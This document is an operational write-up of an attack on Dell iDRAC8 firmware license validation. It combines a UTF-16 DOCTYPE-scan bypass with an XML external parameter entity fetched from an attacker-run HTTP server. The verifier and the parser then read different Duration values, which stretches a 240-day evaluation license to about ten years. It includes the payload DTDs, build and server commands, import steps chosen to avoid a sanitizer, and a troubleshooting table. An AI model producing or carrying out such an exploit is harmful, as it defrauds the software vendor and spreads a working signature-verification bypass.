# XXE / parse-verify TOCTOU: turn the 240-day eval into a ~10-year license

Goal: get the iDRAC8 to store the genuine Dell eval with a long term, by making
the signature verifier and the license parser see **different values for the
same entity reference**.

## The DOCTYPE scan (the real blocker)

`lmVerifySignature` (2.60 `0xe5c0`) scans the **raw file bytes** for
`<!DOCTYPE` at **every** offset:

```c
for (i = 0; i + 9 < len; i++)
    if (strncmp(buf + i, "<!DOCTYPE", 9) == 0) return 17;
```

The disassembly looks like a `+= 10` loop, but at `0xe60c` the instruction
`mov r1,r8` overwrites the `+10` with `i+1`; the `+10` is only the
`i + 9 < len` bounds check. So any file containing the ASCII bytes
`<!DOCTYPE` is rejected before it is parsed. That is why the first two
attempts produced `LIC017` and **zero** HTTP requests.

### Bypass: UTF-16

The scan is a byte-wise `strncmp`. Encode the whole document as UTF-16LE with
a BOM (`FF FE`), and the raw bytes are `<\0!\0D\0O\0C\0T\0Y\0P\0E\0` — no
match. libxml2 detects the BOM and parses normally. The signature digest is
computed over the canonical (UTF-8) form, so it is unaffected by the input
encoding.

`build_duration.py` emits UTF-16LE by default; `check_duration.py` asserts
that the ASCII sequence is absent.

## Why the obvious DTD version fails

Two more problems show up on the device:

1. **The external subset is never fetched.** `xmlLoadExtDtdDefaultValue` is
   not imported by *any* firmware module, so it stays 0. A
   `<!DOCTYPE ... SYSTEM "http://...">` is therefore never loaded.
   (This is why the first probe produced no HTTP request at all.)
2. **`xmlParseMemory` discards the entity globals.** It calls
   `xmlReadMemory(buf, size, NULL, NULL, 0)`, and `xmlCtxtUseOptionsInternal`
   sets `replaceEntities = 0` and `loadsubset = 0` (2.9.2, `0x2b02c` in the
   firmware's libxml2). `xmlSubstituteEntitiesDefault(1)` is therefore
   nullified, and entity refs in *content* become `XML_ENTITY_REF_NODE`
   nodes, which C14N rejects outright (`xmlC14NProcessNode` returns -1).

## What does work

Two libxml2 2.9.2 details combine into a working TOCTOU:

### 1. External parameter entities load unconditionally

`xmlParsePEReference` pushes the entity input through
`xmlNewEntityInputStream` → `xmlLoadExternalEntity` with **no** check on
`loadsubset` or `replaceEntities`. The firmware's `xmlParsePEReference`
(`0x3dcc0`) confirms this: it only tests `input->free` for the blanks-wrapper
trick, never the parser options.

libxml2 **2.11** added a gate that skips external parameter entities unless
`XML_PARSE_NOENT/DTDLOAD/DTDATTR` is set. 2.9.2 has no such gate, so an
internal subset like

```xml
<!DOCTYPE lns:LicenseClass [
<!ENTITY % d SYSTEM "http://HOST:8000/license.dtd">
%d;
]>
```

is fetched on **every** parse — once for the verifier, once for the struct
parser.

### 2. Entity refs in attribute values expand, and C14N accepts them

`xmlStringGetNodeList` (2.9.2 tree.c:1593) builds the attribute's entity-ref
node and populates `ent->children` from the entity value. C14N serializes
attributes with `xmlNodeListGetString(doc, attr->children, 1)`, which walks
`ent->children`; the parser's `xmlGetProp` uses the same path. So an attribute
written as

```xml
<lns:Evaluation lns:Duration="&x;"/>
```

expands to `P240D` for the verifier and `P3650D` for the parser, with **no**
entity-ref node in the tree and no C14N error.

The duration is read with `sscanf(value, "P%dD", &license[0x970])`
(`0xee10`), so any day count works.

## The payload

`build_duration.py` takes Dell's genuine eval and makes three changes:

| Original | Payload |
| --- | --- |
| `<!--Copyright ...-->` then root | a DOCTYPE with the external parameter entity |
| `lns:Duration="P240D"` | `lns:Duration="&x;"` |
| UTF-8 text | UTF-16LE with BOM (hides the DOCTYPE from the byte scan) |

The DTDs:

| Fetch | DTD | Result |
| --- | --- | --- |
| verifier | `<!ENTITY x "P240D">` | canonical form identical to Dell's signed doc |
| parser | `<!ENTITY x "P3650D">` | term = Evaluation, duration = 3650 days |

Validated locally:

```
c14n exclusive=False: modified == genuine: True  sha1=e702b635…e187881c (== DigestValue)
c14n exclusive=True : modified == genuine: True
verifier Duration : P240D
parser   Duration : P3650D
RESULT: PASS
```

3650 days from import is 2036; 36500 would overflow 32-bit `time_t`, so keep
`--days` below ~4300.

## Files

| File | Purpose |
| --- | --- |
| `build_duration.py` | builds `forged_duration.xml` from the genuine eval and rewrites `dtd_dur_parser.dtd` to match `--days` |
| `check_duration.py` | proves digest equality and shows both Duration values |
| `dtd_dur_verifier.dtd` | `x` = `P240D` |
| `dtd_dur_parser.dtd` | `x` = `P3650D` |
| `serve.py` | HTTP server; logs every fetch; `probe`/`attack` modes |
| `build.py`, `dtd_verifier.dtd`, `dtd_parser.dtd` | older element-injection variant (dead: C14N rejects entity refs in content) |

## Run it

1. Build with the PC's LAN address:

   ```powershell
   cd idrac8\xxe
   py build_duration.py --host 192.0.2.20 --days 3650 --out forged_duration.xml
   py check_duration.py forged_duration.xml
   ```

   `check_duration.py` must print `RESULT: PASS`.

2. Start the server in attack mode:

   ```powershell
   py serve.py --mode attack --sequence VP
   ```

3. Import `forged_duration.xml` via **Overview → Server → Licenses → Import**.

   Use the web UI, not `racadm license import`: the racadm layer
   (`libdcirac.so`) calls `XMLInjectionSafe`, which rejects any `<!DOCTYPE`
   with a plain `strstr`. The web/API path (`liblicenseapi` → `liblmpop`)
   does not call it.

4. Check:

   ```
   racadm license view
   ```

   Success: the Enterprise feature is present and the term is Evaluation with
   a far-future expiry (not 240 days).

## Reading the result

| Symptom | Meaning | Action |
| --- | --- | --- |
| `requests.log` empty, `LIC017` | DOCTYPE was visible to the byte scan, or the iDRAC can't reach the PC | confirm the file is UTF-16 (`check_duration.py`), then check route/firewall |
| `LIC017` after a fetch | verifier got the `P` DTD (digest mismatch) | restart with `--sequence PV` |
| imports but shows 240 days | parser got the `V` DTD | restart with `--sequence PV`, or extend the sequence (`VVVP`) if the log shows more than two fetches |
| `LIC010` | device check on the eval (unexpected) | send the log |
| `LIC018` | eval already installed | delete it first |

`requests.log` records the order and number of fetches. If the iDRAC fetches
more than twice, tell me the sequence and we adjust.

## Notes

- The eval is unbound (no `<Restrictions>`), so a blank service tag is fine.
- If the sequence is wrong and both parses get the `V` DTD, the import
  succeeds as a normal 240-day eval (trial consumed). If both get `P`, the
  digest fails and nothing is consumed.
- The signature is still Dell's; only the parser's view of the attribute
  differs.
- `serve.py` reads the DTD files on every request, so they can be edited
  without restarting.
